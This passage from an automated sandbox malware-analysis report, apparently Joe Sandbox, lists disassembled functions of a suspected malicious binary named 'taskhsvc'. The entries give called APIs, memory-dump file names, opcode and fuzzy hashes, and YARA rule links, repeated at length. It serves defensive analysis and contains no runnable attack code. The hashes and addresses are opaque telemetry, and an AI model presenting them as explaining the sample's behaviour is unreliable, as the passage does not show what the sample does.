                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortmemset
                                                                                                                          • String ID: @
                                                                                                                          • API String ID: 4235535680-2766056989
                                                                                                                          • Opcode ID: 7a8139db2adf077b6fe3b32a7affd332bc78d973268ce647541322a5007a3f43
                                                                                                                          • Instruction ID: 9a4c9f001826e44e95a076240d6bdf1dea0ebaad3a6c17f600b984944c5c65d3
                                                                                                                          • Opcode Fuzzy Hash: 7a8139db2adf077b6fe3b32a7affd332bc78d973268ce647541322a5007a3f43
                                                                                                                          • Instruction Fuzzy Hash: 9521F6B4A047159FCB00EFA9C54569EBBF0BF48314F00D919EC94AB380D738E9458F66
                                                                                                                          Function 00C090FB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D41144: memset.MSVCRT ref: 00D4117D
                                                                                                                            • Part of subcall function 00D41144: __stack_chk_fail.LIBSSP-0 ref: 00D41190
                                                                                                                          • time.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00C32A6F), ref: 00C0912D
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C091D4
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C0917D
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortmemsettime
                                                                                                                          • String ID: |l
                                                                                                                          • API String ID: 742750199-4290992307
                                                                                                                          • Opcode ID: a9d893d0b0c786d9534b7f2037afc8df8a9b4f4499d86a9c21fc2f7948f95fa2
                                                                                                                          • Instruction ID: 32ff8a5e9cf7353398c0c8b0a3adc47067d75167b8eb0f84891518d3690b3434
                                                                                                                          • Opcode Fuzzy Hash: a9d893d0b0c786d9534b7f2037afc8df8a9b4f4499d86a9c21fc2f7948f95fa2
                                                                                                                          • Instruction Fuzzy Hash: DE21A5B490470A9FCB00EFA9C5456AEBBF1FF48304F019819E895A7242D778DA41DF62
                                                                                                                          Function 00C180E5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • event_new.LIBEVENT-2-0-5 ref: 00C18149
                                                                                                                          • abort.MSVCRT ref: 00C18190
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C407F2), ref: 00C181C0
                                                                                                                            • Part of subcall function 00D39B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D345AC), ref: 00D39B69
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortevent_new
                                                                                                                          • String ID: P
                                                                                                                          • API String ID: 412134417-3110715001
                                                                                                                          • Opcode ID: 5fff09f7d73152e1d3aadc8fe5ed137133ec9232048fb5e7a9abe5a7e0da8ea2
                                                                                                                          • Instruction ID: 233055e2a718b15c99b8ca3181e8611c2c181aa0d9a800caee42dfd5f8c5fcfa
                                                                                                                          • Opcode Fuzzy Hash: 5fff09f7d73152e1d3aadc8fe5ed137133ec9232048fb5e7a9abe5a7e0da8ea2
                                                                                                                          • Instruction Fuzzy Hash: 7D112970508701DFCB04EF6AD84539EBBE4BB41304F04992CE5A4AB290EB74D9898F62
                                                                                                                          Function 00D3405A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00C4B8E2), ref: 00D340AD
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00C4B8E2), ref: 00D34103
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00C4B8E2), ref: 00D34120
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr
                                                                                                                          • String ID: d?
                                                                                                                          • API String ID: 2422377151-1995121852
                                                                                                                          • Opcode ID: 2119cf8b060475fcc79a58dbe631e8641890cf1890aa44b24b66e72f57c36c7d
                                                                                                                          • Instruction ID: ea891efcb3809747030f7887f52d57a0bbe9e221186e4c53091b2149e6be7cc6
                                                                                                                          • Opcode Fuzzy Hash: 2119cf8b060475fcc79a58dbe631e8641890cf1890aa44b24b66e72f57c36c7d
                                                                                                                          • Instruction Fuzzy Hash: 6A113AB0608701DFCB00FF76D98655EBBF4AB81344F01D81CE598AB291D7B8D9468F62
                                                                                                                          Function 00C321D1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C32258
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00C326B5), ref: 00C32221
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
